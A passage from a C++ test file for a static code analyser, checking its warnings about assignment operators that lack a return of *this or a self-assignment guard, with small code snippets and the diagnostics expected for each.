&operator =(int *other);\\n\"\n \"};\\n\"\n \"NS::szp &NS::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:19]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:8]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:6:11]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \" class szp;\\n\"\n \"};\\n\"\n \"class A::szp\\n\"\n \"{\\n\"\n \" A::szp &operator =(int *other);\\n\"\n \"};\\n\"\n \"A::szp &A::szp::operator =(int *other) {}\");\n ASSERT_EQUALS(\"[test.cpp:8:17]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis3() {\n // ticket # 1405\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return (*this = 0); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return (*this = 0); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" inline A &operator =(int *other) { return (*this); };\\n\"\n \" inline A &operator =(long *other) { return operator = (*(int *)other); };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A &operator =(int *other);\\n\"\n \" A &operator =(long *other);\\n\"\n \"};\\n\"\n \"A &A::operator =(int *other) { return (*this); };\\n\"\n \"A &A::operator =(long *other) { return this->operator = (*(int *)other); };\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqRetRefThis( // #9045\n \"class V {\\n\"\n \"public:\\n\"\n \" V& operator=(const V& r) {\\n\"\n \" if (this == &r) {\\n\"\n \" return ( *this );\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis4() {\n // ticket # 1451\n checkOpertorEqRetRefThis(\n \"P& P::operator = (const P& pc)\\n\"\n \"{\\n\"\n \" return (P&)(*this += pc);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqRetRefThis5() {\n // ticket # 1550\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"protected:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"private:\\n\"\n \" A & operator=(const A &a) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should return reference to 'this' instance. [operatorEqRetRefThis]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" throw std::exception();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) {\\n\"\n \" rand();\\n\"\n \" abort();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) 'operator=' should either return reference to 'this' instance or be declared private and left unimplemented. [operatorEqShouldBeLeftUnimplemented]\\n\", errout_str());\n\n checkOpertorEqRetRefThis(\n \"class A {\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A :: operator=(const A &a) { }\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (error) No 'return' statement in non-void function causes undefined behavior. [operatorEqMissingReturnStatement]\\n\", errout_str());\n }\n\n void operatorEqRetRefThis6() { // ticket #2478 (segmentation fault)\n checkOpertorEqRetRefThis(\n \"class UString {\\n\"\n \"public:\\n\"\n \" UString& assign( const char* c_str );\\n\"\n \" UString& operator=( const UString& s );\\n\"\n \"};\\n\"\n \"UString& UString::assign( const char* c_str ) {\\n\"\n \" std::string tmp( c_str );\\n\"\n \" return assign( tmp );\\n\"\n \"}\\n\"\n \"UString& UString::operator=( const UString& s ) {\\n\"\n \" return assign( s );\\n\"\n \"}\");\n }\n\n void operatorEqRetRefThis7() { // ticket #5782 Endless recursion in CheckClass::checkReturnPtrThis()\n checkOpertorEqRetRefThis(\n \"class basic_fbstring {\\n\"\n \" basic_fbstring& operator=(int il) {\\n\"\n \" return assign();\\n\"\n \" }\\n\"\n \" basic_fbstring& assign() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replaceImplDiscr() {\\n\"\n \" return replace();\\n\"\n \" }\\n\"\n \" basic_fbstring& replace() {\\n\"\n \" return replaceImplDiscr();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // Check that operator Equal checks for assignment to self\n#define checkOpertorEqToSelf(...) checkOpertorEqToSelf_( __FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOpertorEqToSelf_(const char* file, int line, const char (&code)[size]) {\n // Tokenize..\n SimpleTokenizer tokenizer(settings1, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &settings1, this);\n checkClass.operatorEqToSelf();\n }\n\n void operatorEqToSelf1() {\n // this test has an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { if (&a != this) { } return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but it is not needed\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this class needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { if (&a != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a == this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) == true)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a == this) != false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (!((&a == this) == false))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if ((&a != this) == false)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test needs an assignment test and has the inverse test\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if (&a != this)\\n\"\n \" free(s);\\n\"\n \" else\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n\n // this test needs an assignment test but doesn’t have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // ticket #1224\n checkOpertorEqToSelf(\n \"const SubTree &SubTree::operator= (const SubTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(*b.tree);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"const SubTree &SubTree::operator= (const CodeTree &b)\\n\"\n \"{\\n\"\n \" CodeTree *oldtree = tree;\\n\"\n \" tree = new CodeTree(b);\\n\"\n \" delete oldtree;\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void operatorEqToSelf2() {\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { if (&b != this) { } return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:13]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { if (&b != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"[test.cpp:11:14]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf3() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf4() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf5() {\n // ticket # 1233\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" 